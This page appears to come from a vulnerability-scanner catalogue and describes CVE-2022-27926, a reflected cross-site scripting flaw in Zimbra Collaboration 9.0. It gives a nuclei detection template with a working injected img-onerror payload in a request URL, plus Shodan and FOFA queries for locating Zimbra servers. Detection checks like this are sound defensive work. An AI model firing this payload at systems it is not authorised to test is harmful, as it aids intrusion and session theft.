Zimbra Collaboration (ZCS) - Cross Site Scripting

Exploited in the wild. Listed by CISA on 2023-04-03; known to be used by ransomware.

mediumseverity

6.1CVSS score

17.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by Zimbra to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Positive when: contains "<img src=x onerror=alert(document.domain)>Title???" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-27926 -u <target>

The full check

id: CVE-2022-27926

info:
  name: Zimbra Collaboration (ZCS) - Cross Site Scripting
  author: rootxharsh,iamnoooob,pdresearch
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Zimbra to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27926
    - https://wiki.zimbra.com/wiki/Security_Center
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-27926
    cwe-id: CWE-79
    epss-score: 0.17634
    epss-percentile: 0.97174
    cpe: cpe:2.3:a:zimbra:collaboration:9.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - app="zimbra-邮件系统"
      - icon_hash="475145467"
      - icon_hash="1624375939"
  tags: cve,cve2022,zimbra,xss,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>Title???'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from